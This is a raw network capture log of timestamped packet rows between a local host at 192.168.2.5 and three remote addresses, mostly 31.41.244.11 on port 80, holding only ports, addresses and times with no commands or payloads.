Dec 18, 2024 21:30:29.179264069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.180111885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.180288076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.180331945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.181206942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.181365013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.181422949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.182641029 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.182694912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.182790041 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.183502913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.183547020 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.183706045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.184469938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.184516907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.184640884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.184679031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.185616970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.185787916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.185830116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.186588049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.186676025 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.186721087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.187550068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.187597036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.187725067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.188643932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.188699007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.188838959 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.189892054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.189934969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.190011024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.190047979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.190754890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.190906048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.190948009 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.191791058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.191958904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.191999912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.192835093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.192997932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.193041086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.193917990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.194082022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.194123030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.194936037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.195008039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.195066929 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.195981979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.196022034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.196139097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.197107077 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.197148085 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.197253942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.197289944 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.198167086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.198218107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.198312044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.199203968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.199246883 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.199387074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.200229883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.200268030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.200388908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.201325893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.201370001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.201459885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.201493979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.202442884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.202672005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.202714920 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.203511000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.203629971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.203672886 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.204500914 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.204545021 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.204700947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.205409050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.205553055 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.205593109 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.205696106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.205732107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.206563950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.206754923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.206794024 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.207678080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.207848072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.207892895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.208745956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.208784103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.208894968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.209748030 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.209791899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.209928036 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.210197926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.210817099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.210985899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.211025000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.211884975 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.212066889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.212109089 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.212961912 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.212997913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.213093996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.214104891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.214158058 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.214221001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.215064049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.215100050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.215223074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.215254068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.216111898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.216335058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.216375113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.217164040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.217327118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.217367887 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.218247890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.218507051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.218548059 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.219556093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.219597101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.219810009 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.220191956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.220853090 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.220890999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.221137047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.221173048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.221950054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.221990108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.222048044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.222083092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.222747087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.222790003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.222830057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.223572969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.223753929 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.223793030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.224605083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.224644899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.224752903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.225641012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.225681067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.225740910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.226188898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.243462086 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.243488073 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.243551970 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.243587017 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.243602991 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.244072914 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.247977018 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.248018026 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.248054981 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.248078108 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.248092890 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.248100996 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.248115063 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.248142958 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.248583078 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.277236938 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.277461052 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.277487040 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.277510881 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.277533054 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.278340101 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.278347015 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.278857946 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.278908014 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.278914928 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.287538052 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.288516998 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.288525105 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.296921015 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.296987057 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.297012091 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.338511944 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.363256931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.363436937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.363526106 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.363729954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.364020109 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.364074945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.364872932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.364994049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.365042925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.365961075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.366075993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.366132021 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.366905928 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.367095947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.367145061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.367993116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.368036032 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.368146896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.369046926 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.369091988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.369183064 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.369810104 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.370140076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.370203018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.370454073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.371176004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.371227026 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.371351957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.372303009 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.372369051 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.372476101 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.372522116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.373275042 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.373447895 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.373498917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.374327898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.374495983 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.374558926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.375451088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.375788927 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.375839949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.376848936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.376996040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.377043962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.377744913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.377881050 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.377923012 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.378602982 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.378757000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.378799915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.379693031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.379750013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.379852057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.380738020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.380793095 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.380939960 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.381783962 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.381845951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.382025003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.382200003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.382883072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.383023024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.383079052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.383874893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.384021044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.384073973 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.384907961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.385077000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.385133028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.386003971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.386157036 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.386199951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.386234045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.387059927 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.387108088 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.387212992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.388130903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.388194084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.388271093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.389228106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.389309883 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.389393091 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.390223980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.390232086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.390438080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.390486956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.391603947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.391681910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.391776085 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.391840935 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.392724991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.392872095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.392920971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.393996954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.394124031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.394170046 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.394872904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.394927025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.394964933 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.395158052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.395837069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.396024942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.396090031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.396729946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.396902084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.396953106 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.397279978 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.397603989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.397783995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.397833109 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.398719072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.398850918 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.398891926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.399827957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.399877071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.400007963 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.400929928 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.400974035 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.401025057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.401262045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.402005911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.402055979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.402127981 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.402169943 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.403042078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.403100014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.403187037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.403249025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.404167891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.404273033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.404294014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.404335022 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.405042887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.405086994 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.405216932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.405261040 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.406120062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.406172991 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.406248093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.406299114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.407164097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.407212973 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.407285929 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.407325983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.408206940 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.408257961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.408391953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.408438921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.409344912 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.409403086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.409487009 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.409923077 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.410320044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.410368919 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.410460949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.410505056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.411400080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.411442995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.411533117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.411585093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.412484884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.412532091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.412661076 CET	80	49808	31.41.244.11	192.168.2.5
